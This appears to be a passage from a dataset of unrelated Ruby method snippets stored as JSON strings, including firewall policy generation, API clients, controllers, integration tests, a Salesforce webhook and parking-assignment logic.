of these then we will create objects for\n ### both tcp and udp. It defines just icmp, we won't worry about the\n ### tcp/udp objects and will process icmp under a different case\n tcp, udp, icmp = nil\n if filters[filtername][termname][:source].has_key?(:tcp)\n tcp = true\n end\n\n if filters[filtername][termname][:source].has_key?(:udp)\n udp = true\n end\n\n if filters[filtername][termname][:source].has_key?(:icmp)\n icmp = true\n end\n unless tcp && udp && icmp\n tcp = true\n udp = true\n end\n\n # create a tcp destination object if term contains protocol tcp and if\n # it's not type source-port and if we haven't already created this object\n if (tcp && !service_tracker.include?(\"#{sourcename}-tcp\") && sourcetype != :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-tcp\", lowport, highport, \"from term: #{termname}\",\\\n category, :dst, :tcp)\n\n service_tracker.add(\"#{sourcename}-tcp\")\n end\n\n if (udp && !service_tracker.include?(\"#{sourcename}-udp\") && sourcetype != :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-udp\", lowport, highport, \"from term: #{termname}\",\\\n category, :dst, :udp)\n\n service_tracker.add(\"#{sourcename}-udp\")\n end\n\n if (tcp && !service_tracker.include?(\"#{sourcename}-tcp\") && sourcetype == :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-tcp_source\", lowport, highport, \"from term: #{termname}\",\\\n category, :src, :tcp)\n\n service_tracker.add(\"#{sourcename}-tcp_source\")\n end\n\n if (udp && !service_tracker.include?(\"#{sourcename}-udp\") && sourcetype == :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-udp_source\", lowport, highport, \"from term: #{termname}\",\\\n category, :src, :udp)\n\n service_tracker.add(\"#{sourcename}-udp_source\")\n end\n\n # Map named protocol term definitions to ports (aka http, ftp, snmp)\n else\n # Get port matching sourcename from h_tcpudp service/port mapping array\n port, lowport, highport = nil\n\n port = h_tcpudp[sourcename.to_s]\n # if port is nil then no match was found, print out some info and move to next record\n if port == nil\n p \"Couldn't find a protocol match in file: Sourcename: #{sourcename} --> Port: #{port}\"\\\n if $opts[:verbose]\n\n next\n end\n\n lowport, highport = port.split('-')\n highport = lowport unless highport\n\n # Check to see if the associated term defines tcp, udp or icmp\n # if it defines none of these then we will create objects for\n # both tcp and udp. It defines just icmp, we won't worry about the\n # tcp/udp objects and will process icmp under a different case\n tcp, udp, icmp = nil\n if filters[filtername][termname][:source].has_key?(:tcp)\n tcp = true\n end\n\n if filters[filtername][termname][:source].has_key?(:udp)\n udp = true\n end\n\n if filters[filtername][termname][:source].has_key?(:icmp)\n icmp = true\n end\n unless tcp && udp && icmp\n tcp = true\n udp = true\n end\n\n if (tcp && !service_tracker.include?(\"#{sourcename}-tcp\") && sourcetype != :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-tcp\", lowport, highport, \"from term: #{termname}\",\\\n category, :dst, :tcp)\n\n service_tracker.add(\"#{sourcename}-tcp\")\n end\n\n if (udp && !service_tracker.include?(\"#{sourcename}-udp\") && sourcetype != :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-udp\", lowport, highport, \"from term: #{termname}\",\\\n category, :dst, :udp)\n\n service_tracker.add(\"#{sourcename}-udp\")\n end\n\n if (tcp && !service_tracker.include?(\"#{sourcename}-tcp\") && sourcetype == :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-tcp_source\", lowport, highport, \"from term: #{termname}\",\\\n category, :src, :tcp)\n\n service_tracker.add(\"#{sourcename}-tcp_source\")\n end\n\n if (udp && !service_tracker.include?(\"#{sourcename}-udp\") && sourcetype == :'source-port')\n svcconfig += config_fgservice(\"#{sourcename}-udp_source\", lowport, highport, \"from term: #{termname}\",\\\n category, :src, :udp)\n\n service_tracker.add(\"#{sourcename}-udp_source\")\n end\n end\n\n\n### Process ICMP protocol types\n\n when *%w[icmp-type icmp-type-except]\n port = String.new\n\n if /^(\\d+)$/ =~ sourcename\n port = sourcename\n else\n port = h_icmp[sourcename.to_s]\n end\n\n if port and !service_tracker.include?(port)\n svcconfig += config_fgservice(\"ICMP-#{sourcename}\", port, port, \"from term: #{termname}\",\\\n category, :icmp, :icmp)\n\n service_tracker.add(\"ICMP-#{sourcename}\")\n\n elsif !port\n p \"create_fgpolicy_service_objects: service icmp-type not found port = #{port} sourcename = #{sourcename}\"\\\n if $opts[:verbose] || $opts[:debug]\n next\n end\n end\n end\n end\n end\n if $opts[:debug]\n p \"service tracker\"\n service_tracker.each do |x|\n p x\n end\n end\n\n # Return the resulting config to main execution\n svcconfig += \"end\\n\\n\"\nend",
"def dashboard\n\n @response = CompanyApi::Request::Economy.new(\n CompanyApi::Response::Formatter::Economy,\n request.cookies,\n {\"User-Agent\" => http_user_agent}\n ).fetch_dashboard_details\n\n # Check if error present or not?\n unless @response.success?\n render_error_response(@response)\n return\n end\n\n @presenter_obj = ::WebPresenter::Economy::Dashboard.new(@response, params)\n unless @presenter_obj.client_token.step_three_done?\n redirect_to :planner, status: GlobalConstant::ErrorCode.temporary_redirect\n return\n end\n\n end",
"def search_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ListingsApi.search ...'\n end\n if @api_client.config.client_side_validation && opts[:'car_type'] && !['new', 'used', 'certified'].include?(opts[:'car_type'])\n fail ArgumentError, 'invalid value for \"car_type\", must be one of new, used, certified'\n end\n if @api_client.config.client_side_validation && opts[:'carfax_1_owner'] && !['true', 'false'].include?(opts[:'carfax_1_owner'])\n fail ArgumentError, 'invalid value for \"carfax_1_owner\", must be one of true, false'\n end\n if @api_client.config.client_side_validation && opts[:'carfax_clean_title'] && !['true', 'false'].include?(opts[:'carfax_clean_title'])\n fail ArgumentError, 'invalid value for \"carfax_clean_title\", must be one of true, false'\n end\n # resource path\n local_var_path = '/search'\n\n # query parameters\n query_params = {}\n query_params[:'api_key'] = opts[:'api_key'] if !opts[:'api_key'].nil?\n query_params[:'latitude'] = opts[:'latitude'] if !opts[:'latitude'].nil?\n query_params[:'longitude'] = opts[:'longitude'] if !opts[:'longitude'].nil?\n query_params[:'radius'] = opts[:'radius'] if !opts[:'radius'].nil?\n query_params[:'zip'] = opts[:'zip'] if !opts[:'zip'].nil?\n query_params[:'include_lease'] = opts[:'include_lease'] if !opts[:'include_lease'].nil?\n query_params[:'include_finance'] = opts[:'include_finance'] if !opts[:'include_finance'].nil?\n query_params[:'lease_term'] = opts[:'lease_term'] if !opts[:'lease_term'].nil?\n query_params[:'lease_down_payment'] = opts[:'lease_down_payment'] if !opts[:'lease_down_payment'].nil?\n query_params[:'lease_emp'] = opts[:'lease_emp'] if !opts[:'lease_emp'].nil?\n query_params[:'finance_loan_term'] = opts[:'finance_loan_term'] if !opts[:'finance_loan_term'].nil?\n query_params[:'finance_loan_apr'] = opts[:'finance_loan_apr'] if !opts[:'finance_loan_apr'].nil?\n query_params[:'finance_emp'] = opts[:'finance_emp'] if !opts[:'finance_emp'].nil?\n query_params[:'finance_down_payment'] = opts[:'finance_down_payment'] if !opts[:'finance_down_payment'].nil?\n query_params[:'finance_down_payment_per'] = opts[:'finance_down_payment_per'] if !opts[:'finance_down_payment_per'].nil?\n query_params[:'car_type'] = opts[:'car_type'] if !opts[:'car_type'].nil?\n query_params[:'seller_type'] = opts[:'seller_type'] if !opts[:'seller_type'].nil?\n query_params[:'carfax_1_owner'] = opts[:'carfax_1_owner'] if !opts[:'carfax_1_owner'].nil?\n query_params[:'carfax_clean_title'] = opts[:'carfax_clean_title'] if !opts[:'carfax_clean_title'].nil?\n query_params[:'year'] = opts[:'year'] if !opts[:'year'].nil?\n query_params[:'make'] = opts[:'make'] if !opts[:'make'].nil?\n query_params[:'model'] = opts[:'model'] if !opts[:'model'].nil?\n query_params[:'trim'] = opts[:'trim'] if !opts[:'trim'].nil?\n query_params[:'dealer_id'] = opts[:'dealer_id'] if !opts[:'dealer_id'].nil?\n query_params[:'vin'] = opts[:'vin'] if !opts[:'vin'].nil?\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n query_params[:'body_type'] = opts[:'body_type'] if !opts[:'body_type'].nil?\n query_params[:'body_subtype'] = opts[:'body_subtype'] if !opts[:'body_subtype'].nil?\n query_params[:'vehicle_type'] = opts[:'vehicle_type'] if !opts[:'vehicle_type'].nil?\n query_params[:'vins'] = opts[:'vins'] if !opts[:'vins'].nil?\n query_params[:'taxonomy_vins'] = opts[:'taxonomy_vins'] if !opts[:'taxonomy_vins'].nil?\n query_params[:'ymmt'] = opts[:'ymmt'] if !opts[:'ymmt'].nil?\n query_params[:'match'] = opts[:'match'] if !opts[:'match'].nil?\n query_params[:'cylinders'] = opts[:'cylinders'] if !opts[:'cylinders'].nil?\n query_params[:'transmission'] = opts[:'transmission'] if !opts[:'transmission'].nil?\n query_params[:'speeds'] = opts[:'speeds'] if !opts[:'speeds'].nil?\n query_params[:'doors'] = opts[:'doors'] if !opts[:'doors'].nil?\n query_params[:'drivetrain'] = opts[:'drivetrain'] if !opts[:'drivetrain'].nil?\n query_params[:'exterior_color'] = opts[:'exterior_color'] if !opts[:'exterior_color'].nil?\n query_params[:'interior_color'] = opts[:'interior_color'] if !opts[:'interior_color'].nil?\n query_params[:'engine'] = opts[:'engine'] if !opts[:'engine'].nil?\n query_params[:'engine_type'] = opts[:'engine_type'] if !opts[:'engine_type'].nil?\n query_params[:'engine_aspiration'] = opts[:'engine_aspiration'] if !opts[:'engine_aspiration'].nil?\n query_params[:'engine_block'] = opts[:'engine_block'] if !opts[:'engine_block'].nil?\n query_params[:'miles_range'] = opts[:'miles_range'] if !opts[:'miles_range'].nil?\n query_params[:'price_range'] = opts[:'price_range'] if !opts[:'price_range'].nil?\n query_params[:'dom_range'] = opts[:'dom_range'] if !opts[:'dom_range'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n query_params[:'sort_order'] = opts[:'sort_order'] if !opts[:'sort_order'].nil?\n query_params[:'rows'] = opts[:'rows'] if !opts[:'rows'].nil?\n query_params[:'start'] = opts[:'start'] if !opts[:'start'].nil?\n query_params[:'facets'] = opts[:'facets'] if !opts[:'facets'].nil?\n query_params[:'stats'] = opts[:'stats'] if !opts[:'stats'].nil?\n query_params[:'country'] = opts[:'country'] if !opts[:'country'].nil?\n query_params[:'plot'] = opts[:'plot'] if !opts[:'plot'].nil?\n query_params[:'nodedup'] = opts[:'nodedup'] if !opts[:'nodedup'].nil?\n query_params[:'state'] = opts[:'state'] if !opts[:'state'].nil?\n query_params[:'city'] = opts[:'city'] if !opts[:'city'].nil?\n query_params[:'dealer_name'] = opts[:'dealer_name'] if !opts[:'dealer_name'].nil?\n query_params[:'trim_o'] = opts[:'trim_o'] if !opts[:'trim_o'].nil?\n query_params[:'trim_r'] = opts[:'trim_r'] if !opts[:'trim_r'].nil?\n query_params[:'dom_active_range'] = opts[:'dom_active_range'] if !opts[:'dom_active_range'].nil?\n query_params[:'dom_180_range'] = opts[:'dom_180_range'] if !opts[:'dom_180_range'].nil?\n query_params[:'options'] = opts[:'options'] if !opts[:'options'].nil?\n query_params[:'features'] = opts[:'features'] if !opts[:'features'].nil?\n query_params[:'exclude_certified'] = opts[:'exclude_certified'] if !opts[:'exclude_certified'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SearchResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ListingsApi#search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def test_location_opt_out_on_create_update\n # Step 1\n count = 0\n 2.times do\n assign_http(Config['turtle']['host'])\n\n headers = { 'Accept' => 'application/json' }\n\n user = TurtleUser.new\n\n params = {\n 'user' => {\n 'first_name' => user.first_name,\n 'last_name' => user.last_name,\n 'email' => user.email,\n 'new_password' => user.password,\n 'new_password_confirmation' => user.password,\n 'vrid' => user.vrid,\n 'terms' => '1',\n 'zip_code' => '91201',\n 'location_opt_out' => 0,\n },\n 'app_id' => 'WEB',\n }\n params['user']['location_opt_out'] = 1 if count >= 1\n\n post '/usr', params, headers\n assert_response(@response, :success)\n turtle_response = @parsed_response\n user.id = turtle_response['id']\n user.cookie_id = turtle_response['cookie_id']\n\n # Check Dragon if @parsed_response['location_opt_out'] returns nil\n if @parsed_response['location_opt_out'].nil?\n get_dragon_user(user.id)\n assert_response(@response, :success)\n dragon_response = @parsed_response\n assert(dragon_response['locationOptOut'], \"dragon response for user id: #{user.id}, missing the parameter: locationOptOut\")\n if count >= 1\n assert_equal(1, @parsed_response['location_opt_out'], \"dragon Response: #{dragon_response}\")\n else\n assert_equal(0, @parsed_response['location_opt_out'], \"dragon Response: #{dragon_response}\")\n end\n else\n if count >= 1\n assert_equal(1, @parsed_response['location_opt_out'], \"Turtle Response: #{turtle_response}\")\n else\n assert_equal(0, @parsed_response['location_opt_out'], \"Turtle Response: #{turtle_response}\")\n end\n end\n assert_equal(false, @parsed_response['email_opt_in'], @parsed_response)\n\n # Login Oauth\n params = {\n 'client_id' => user.turtle_client_id,\n 'client_secret' => user.turtle_secret_key,\n 'grant_type' => user.grant_type,\n 'email' => user.email,\n 'password' => user.password\n }\n\n post '/oauth/access_token', params\n assert_response(@response, :success)\n user.oauth_token = @parsed_response['access_token']\n\n # Step 2\n headers = {\n 'Authorization' => \"Bearer #{user.oauth_token}\",\n 'Accept' => 'application/json'\n }\n\n params = {\n 'user' => {\n 'location_opt_out' => 1\n },\n 'email_opt_in' => 'true'\n }\n params['user']['location_opt_out'] = 0 if count >= 1\n\n put '/usr', params, headers\n assert_response(@response, :success)\n if count >= 1\n assert_equal(0, @parsed_response['location_opt_out'], @parsed_response)\n else\n assert_equal(1, @parsed_response['location_opt_out'], @parsed_response)\n end\n assert_equal(true, @parsed_response['email_opt_in'], @parsed_response)\n\n # Step 3\n assign_http(Config['panda']['host'])\n\n params = {\n 'oauth_token' => user.oauth_token,\n 'user' => {\n 'location_opt_out' => 0\n },\n 'email_opt_in' => 'false'\n }\n params['user']['location_opt_out'] = 1 if count >= 1\n\n post \"/usr/update_by_id/#{user.id}\", params\n assert_response(@response, :success)\n if count >= 1\n assert_equal(1, @parsed_response['location_opt_out'], @parsed_response)\n else\n assert_equal(0, @parsed_response['location_opt_out'], @parsed_response)\n end\n assert_equal(false, @parsed_response['email_opt_in'], @parsed_response)\n\n count += 1\n end\n end",
"def loginToSalesforce()\n #puts \"in AccountAssignmentFromLead:loginToSalesforce\"\n @driver.get \"https://test.salesforce.com/login.jsp?pw=#{@mapCredentials['Staging']['WeWork System Administrator']['password']}&un=#{@mapCredentials['Staging']['WeWork System Administrator']['username']}\"\n switchToClassic(@driver)\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",@timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n return true\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",60)\n rescue Exception => e\n puts e\n return false\n end",
"def index\n candidate = UspsInPersonProofing::Applicant.new(\n address: search_params['street_address'],\n city: search_params['city'], state: search_params['state'],\n zip_code: search_params['zip_code']\n )\n response = proofer.request_facilities(candidate)\n if response.length > 0\n analytics.idv_in_person_locations_searched(\n success: true,\n result_total: response.length,\n )\n else\n analytics.idv_in_person_locations_searched(\n success: false, errors: 'No USPS locations found',\n )\n end\n render json: response.to_json\n end",
"def submit_self_service_login_flow_with_http_info(flow, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.submit_self_service_login_flow ...'\n end\n # verify the required parameter 'flow' is set\n if @api_client.config.client_side_validation && flow.nil?\n fail ArgumentError, \"Missing the required parameter 'flow' when calling DefaultApi.submit_self_service_login_flow\"\n end\n # resource path\n local_var_path = '/api/kratos/public/self-service/login'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'flow'] = flow\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'submit_self_service_login_flow'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'LoginViaApiResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"DefaultApi.submit_self_service_login_flow\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#submit_self_service_login_flow\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def invitee_action\n begin\n if check_magic_token\n\n event_type = params[:event]\n calendar_email = params[:payload][:event][:extended_assigned_to][0][:email] # This is the email of the account used to create the calendar\n email = params[:payload][:invitee][:email]\n first_name = params[:payload][:invitee][:first_name]\n last_name = params[:payload][:invitee][:last_name]\n event_name = params[:payload][:event_type][:name]\n start_time = params[:payload][:event][:invitee_start_time_pretty]\n\n\n contact = {}\n contact['FirstName'] = first_name\n contact['LastName'] = last_name unless last_name.blank?\n contact['Email'] = email\n\n applicant_type = 'event_volunteer'\n selected_timeslot = \"#{event_name}: #{start_time}\"\n\n bz_region = User.get_bz_region(applicant_type, calendar_email)\n if bz_region.nil?\n raise NoRegionMappingException \"No bz_region set b/c we haven't mapped the calendar #{calendar_email} to a region for #{applicant_type}\"\n end\n\n if event_type == 'invitee.created'\n calendly_url = User.get_calendar_url(bz_region)\n phone = nil\n company = nil\n title_industry = nil\n city_state = nil\n career = nil\n params[:payload][:questions_and_answers].each do |qa|\n if qa[:question].downcase.include?('phone')\n phone = qa[:answer]\n elsif qa[:question].downcase.include?('employer')\n company = qa[:answer]\n elsif qa[:question].downcase.include?('title')\n title_industry = qa[:answer]\n elsif qa[:question].downcase.include?('career')\n career = qa[:answer]\n elsif qa[:question].downcase.include?('city, state')\n city_state = qa[:answer]\n end\n end\n\n # Note: city_state is supposed to be in the format: City, State. E.g. Brooklyn, NY\n # If it's not, just set the city to the whole string\n city = city_state.split(',')[0]\n state = city_state.split(',')[1]\n\n # Create a BZ User in this platform\n current_user = User.find_by_email(email)\n if current_user.nil?\n current_user = User.new(:first_name => first_name, :last_name => last_name, :email => email, :phone => phone, :applicant_type => applicant_type, :city => city, :state => state, :external_referral_url => calendly_url, :bz_region => bz_region)\n else\n current_user.bz_region = bz_region\n current_user.applicant_type = applicant_type\n end\n current_user.skip_confirmation!\n current_user.save!\n\n # Create the user in salesforce\n contact['Phone'] = phone\n contact['Signup_Date__c'] = DateTime.now\n contact['MailingCity'] = city\n contact['MailingState'] = state unless state.nil?\n contact['Company__c'] = company\n contact['Title'] = title_industry # Both their title and industry could have commans, so can't split reliable. Just stuff it all in Title field.\n contact['Career__c'] = career\n contact['BZ_Region__c'] = bz_region\n contact['User_Type__c'] = 'Event Volunteer'\n contact['BZ_User_Id__c'] = current_user.id\n contact['Came_From_to_Visit_Site__c'] = calendly_url\n\n salesforce = BeyondZ::Salesforce.new\n existing_salesforce_id = salesforce.exists_in_salesforce(email)\n client = salesforce.get_client\n if !existing_salesforce_id.nil?\n client.update('Contact', existing_salesforce_id, contact)\n else\n # There is a bug in calendly where Last Name is not actually a required field.\n # This is meant to put something in that field so at least a Salesforce record is created.\n contact['LastName'] = '<Missing>' if last_name.blank?\n\n # Note: for new users that volunteer, we don't create BZ Users. We just populate a new Salesforce\n # contact as though it was done manually. Only Fellows and LCs get BZ Users after this calendly integration goes live.\n contact['LeadSource'] = 'Volunteer Signup'\n contact['OwnerId'] = current_user.salesforce_lead_owner_id # Note that if they are already in Salesforce, we assume they have an Owner already.\n contact = client.create('Contact', contact)\n existing_salesforce_id = contact.Id\n end\n\n current_user.salesforce_id = existing_salesforce_id\n current_user.skip_confirmation!\n current_user.save!\n \n cm = current_user.auto_add_to_salesforce_campaign('Confirmed', selected_timeslot)\n if cm.nil?\n logger.debug \"######## Failed to create Campaign Member for #{current_user.inspect}. Dunno why though.\"\n end\n\n current_user.create_mailchimp\n\n elsif event_type == 'invitee.canceled'\n current_user = User.find_by_email(email)\n if !current_user.nil?\n current_user.bz_region = bz_region\n current_user.applicant_type = applicant_type\n cancellation_reason = params[:payload][:invitee][:cancel_reason]\n current_user.cancel_volunteer_signup(selected_timeslot, cancellation_reason)\n else\n logger.warn \"No user with email = #{email} found -- NOOP\"\n end\n\n else\n logger.warn \"Unrecognized event type found: #{event_type} -- NOOP\"\n end\n end\n # Need to catch all exceptions and always report that it was OK b/c Calendly will put the webhook\n # in a failed state and stop calling our endpoint until we delete and re-register the hook.\n rescue Exception => e\n logger.warn \"###### Caught #{e.inspect} -- may have failed to add the Volunteer signup information into Salesforce.\"\n end\n\n render plain: 'OK'\n end",
"def step1\n if params[:device_code] # The form data exists - clear the cust data\n session[:cust] = session[:email] = session[:password] = session[:subdomain] = nil\n session[:device_code] = params[:device_code]\n session[:device_price] = params[:device_price]\n session[:service_code] = params[:service_code]\n session[:service_price] = params[:service_price]\n session[:qty] = params[:qty].to_i\n session[:subtotal] = (params[:device_price].to_f + params[:service_price].to_f) * params[:qty].to_i\n elsif session[:device_code].nil? # The form and session data do not exist\n session[:device_code] = \"UD1000\"\n session[:device_price] = 249.95\n session[:service_code] = \"US1000\"\n session[:service_price] = 19.95\n session[:qty] = 1\n session[:subtotal] = 269.90\n end\n \n #Estimated shipping\n if session[:qty] > 1\n @ship_ground = 12.95 + (session[:qty]*4.95)\n else\n @ship_ground = 12.95\n end\n end",
"def index\n find_exact_match_only = false\n if (params[:restaurant] or params[:location] )\n find_exact_match_only = true\n end\n if params[:featured] == '1' or params[:trip_location_id] == '0'\n @exact_match_count = 9 \n @message_with_trip_render = nil\n i = 0\n @trips = self.get_featured_trips(params, 3)\n else\n @trips, @exact_match_count, @message_with_trip_render = Trip.search(params, find_exact_match_only)\n end\n \n @trips, @exact_match_count, @message_with_trip_render = get_trips_filtered_by_landmarks(params, @trips, @message_with_trip_render, @exact_match_count)\n @locations = nil\n @restaurants = nil\n @traveler_types = nil\n trips_per_page_default = 3\n\n if (params[:trip_location_id] and params[:trip_location_id] != \"\" and (params[:page] == nil or params[:page] == \"1\"))\n # generate landmark of interest only for the initial trip search with location, not while paginating \n @locations = LocationDetail.search(params[:trip_location_id])\n @restaurants = RestaurantDetail.search(params[:trip_location_id])\n if (params[:traveler_type_id])\n @traveler_types = TravelerType.where(\"traveler_type_id IN (?)\", params[:traveler_type_id])\n end\n end\n \n # this can be simplified later\n page = !params[:page].blank? ? params[:page].to_i : 1\n @trips_per_page = !params[:per_page].blank? ? params[:per_page].to_i : trips_per_page_default\n @trips_per_page = (page <= 1) ? (@trips_per_page - 1) : @trips_per_page\n @exact_match_count = @exact_match_count - (page - 1) * @trips_per_page\n \n if params[:featured] != '1' and params[:trip_location_id] != '0'\n offset = (page == 1) ? 0 : ((page - 1) * @trips_per_page) - 1\n if !@trips.blank? and @trips.size % trips_per_page_default == 0\n # reset the trips per page as we are adding a dummy trip here\n @trips_per_page = trips_per_page_default \n @trips = @trips.unshift('wxyz')\n end\n @trips = @trips.paginate(:page => page != 1 ? params[:page] : \"1\", :per_page => @trips_per_page, :offset => offset) \n end\n \n respond_to do |format|\n if !@trips.blank?\n flash.now[:notice] = @message_with_trip_render\n format.html # index.html.erb\n format.js # index.js.erb\n format.json { render json: @trips }\n else\n format.html { redirect_to root_url() }\n end\n end\n end",
"def execute()\n \n # Retrieve a single entry from KS_SRV_Helper form\n base_record = @@remedy_forms['KS_SRV_CustomerSurvey'].find_entries(\n :single,\n :conditions => [%|'CustomerSurveyInstanceId' = \"#{@parameters['Submission ID']}\" OR 'CustomerSurveyID' = \"#{@parameters['Submission ID']}\"|],\n :fields => :all\n )\n \n raise \"Unable to find KS_SRV_CustomerSurvey record with CustomerSurvey ID or instanceId of: #{@parameters['Submission ID']}\" if base_record.nil?\n \n\tif (@taskVersion == \"3\")\n\t#v3\n # Build the template record from the KS_SRV_CustomerSurvey record, which\n # includes the Template fields.\n\t template_record = Records::Template.new(base_record)\n \n # Build the template dataset mappings based on the KS_SRV_DataSet form\n # records for dataset specified on the current KS_SRV_CustomerSurvey\n # record.\n\n\t @dataset_hash = Records::TemplateDataSetMapping.find_all(\n\t\t :data_set => template_record.data_set\n\t\t).inject({}) do |hash, mapping_record|\n\t\t # Define the current KS_SRV_DataSet record's field_id as a Fixnum\n\t\t field_id = mapping_record.field_id.to_i\n\t\t # Retrieve the ArsModels::Field associated with the current\n\t\t # KS_SRV_CustomerSurvey field.\n\t\t mapping_field = Records::RequestBase.form.field_for(field_id)\n\t\t # Unless the field does not exist on the form, or the field is display only\n\t\t unless mapping_field.nil? || mapping_field.entrymode == \"DISPLAY_ONLY\"\n\t\t\t# Retrieve the value of the field on the KS_SRV_CustomerSurvey entry\n\t\t\tvalue = base_record[field_id]\n\t\t\t# Map the KS_SRV_DataSet record's field label value to the field value\n\t\t\thash[mapping_record.field_label] = value.respond_to?(:value) ? value.value : value\n\t\t end\n\t\t # Return the hash to continue injecting\n\t\t hash\n\t\tend\n\t\t puts(format_hash(\"Dataset Found: \", @dataset_hash)) if @debug_logging_enabled\n\t\n\telsif (@taskVersion == \"4\")\n\t \n\t template_record = Records::Template.new(base_record, :context => @@remedy_context)\n\t \n\t @dataset_hash = Records::TemplateDataSetMapping.find_all(\n\t\t :data_set => template_record.data_set, :context => @@remedy_context\n\t\t).inject({}) do |hash, mapping_record|\n\t\t # Define the current KS_SRV_DataSet record's field_id as a Fixnum\n\t\t field_id = mapping_record.field_id.to_i\n\t\t # Retrieve the ArsModels::Field associated with the current\n\t\t # KS_SRV_CustomerSurvey field.\n\t\t mapping_field = Records::RequestBase.form.field_for(field_id)\n\t\t # Unless the field does not exist on the form, or the field is display only\n\t\t unless mapping_field.nil? || mapping_field.entrymode == \"DISPLAY_ONLY\"\n\t\t\t# Retrieve the value of the field on the KS_SRV_CustomerSurvey entry\n\t\t\tvalue = base_record[field_id]\n\t\t\t# Map the KS_SRV_DataSet record's field label value to the field value\n\t\t\thash[mapping_record.field_label] = value.respond_to?(:value) ? value.value : value\n\t\t end\n\t\t # Return the hash to continue injecting\n\t\t hash\n\t\tend\n\t\tputs(format_hash(\"Dataset Found: \", @dataset_hash)) if @debug_logging_enabled\n\t\t\n\tend\n \n dataset_results = \"\" \n @dataset_hash.each_pair {|key, value|\n dataset_results << %|<result name=\"#{key}\">#{escape(value)}</result>|\n }\n \n <<-RESULTS\n <results>\n #{dataset_results}\n </results>\n RESULTS\n \n end",
"def contact_us_partners_pipe_drive\n service_response = UserManagement::ContactUsPipeDrive::Partner.new(params).perform\n render_api_response(service_response)\n end",
"def update\n\n if params[:type] == \"approve_parking\" # by staff\n parking_request = ParkingRequest.find_by_req_no(params[:id])\n the_lease = get_user_lease(parking_request.sid);\n\n # set up variables\n the_lot = nil\n the_fee = nil\n the_spot = nil\n\n if (parking_request.pref_nearby == true)\n\n #find nearby housing first\n\n building_no = the_lease.unit_no\n\n ParkingLot.all.each do |t|\n if t.nearby_housing == building_no\n the_lot = t.lot_no\n end\n break if !the_lot.nil?\n end\n\n if (parking_request.is_disabled) # disabled?\n ParkingSpot.where(:lot_no => the_lot, :occupant => nil).each do |t|\n if t.class_id == 4\n the_spot = t\n the_fee = ParkingClass.find_by_class_id(t.class_id).fee\n end\n break if !the_spot.nil?\n end\n\n else # not disabled!\n\n ParkingSpot.where(:lot_no => the_lot, :occupant => nil).each do |t|\n if t.class_id == parking_request.vehicle_type\n the_spot = t\n the_fee = ParkingClass.find_by_class_id(t.class_id).fee\n end\n break if !the_spot.nil?\n end\n\n end\n\n elsif is_guest? #only general parking is allowed\n\n ParkingSpot.where(:lot_no => 7, :occupant => nil).each do |t|\n if t.class_id == parking_request.vehicle_type\n the_spot = t\n the_fee = ParkingClass.find_by_class_id(t.class_id).fee\n end\n break if !the_spot.nil?\n end\n\n else # any parking is fine\n\n ParkingSpot.where(:occupant => nil).each do |p|\n if (parking_request.is_disabled && p.class_id == 4)\n the_spot = p\n the_fee = ParkingClass.find_by_class_id(p.class_id).fee\n elsif (parking_request.vehicle_type == p.class_id)\n the_spot = p\n the_fee = ParkingClass.find_by_class_id(p.class_id).fee\n end\n break if !the_spot.nil?\n end\n\n end\n\n if the_spot.nil?\n # error message! no parking spot available\n redirect_to parking_request\n return\n end\n # update to signed lease\n\n if SignedLease.update(the_lease.lease_no, :parking_spot => the_spot.spot_no, :parking_fee => the_fee)\n\n the_spot.occupant = parking_request.sid\n the_spot.save\n\n parking_request.app_status = 2\n parking_request.save\n\n redirect_to parking_requests_url\n return\n else\n # something is wrong!!!!\n end\n\n elsif (params[:type] == \"cancel_parking\") # cancel parking\n\n end\n\n #respond_to do |format|\n # if @signed_lease.update(signed_lease_params)\n # format.html { redirect_to @signed_lease, notice: 'Signed lease was successfully updated.' }\n # format.json { render :show, status: :ok, location: @signed_lease }\n # else\n # format.html { render :edit }\n # format.json { render json: @signed_lease.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def service_login!()\n @service = TAC_PLUS_AUTHEN_SVC_LOGIN\n end",
